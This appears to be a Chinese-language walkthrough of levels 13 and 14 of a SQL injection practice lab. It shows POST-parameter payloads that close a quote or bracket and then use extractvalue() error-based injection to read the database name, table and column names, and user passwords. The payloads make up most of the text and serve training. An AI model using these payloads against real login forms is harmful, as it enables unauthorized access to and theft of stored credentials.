知识点:POST方式的单引号和括号闭合错误,报错注入
第十三关
思路:
1、判断注入点
使用Burpsuite抓包
首先加入一个单引号,爆出了数据库语句错误,说明存在注入点,根据提示,这里可能是’)闭合错误
uname=admin&passwd=1') # 没有爆出错误,说明是单引号和括号的闭合错误
没有出现回显信息,可能是报错注入
2、判断当前数据库
报错注入,使用的函数extractvalue()
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,database())) #
3、爆表名
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #
4、爆字段名
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))) #
通过修改limit的值,可以得到users表的字段为 id,username,password
5、爆值
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
通过这样的方式就可以得到数据库的数据
第十四关
原理:双引号闭合错误的报错注入
1、判断注入点
uname=admin&passwd=1'
没有任何回显内容
uname=admin&passwd=1"
数据库语句报错,分析报错信息,可以判断为右边的双引号闭合错误
加上#,结果没有报错,可以确认为双引号的闭合问题
uname=admin&passwd=1"#
接下来的步骤就跟十三关的一致
爆库名
uname=admin&passwd=1" and extractvalue(1,concat(0x7e,database()))#
这篇文章就写到这里,哪里有疑问或者不好的欢迎批评指正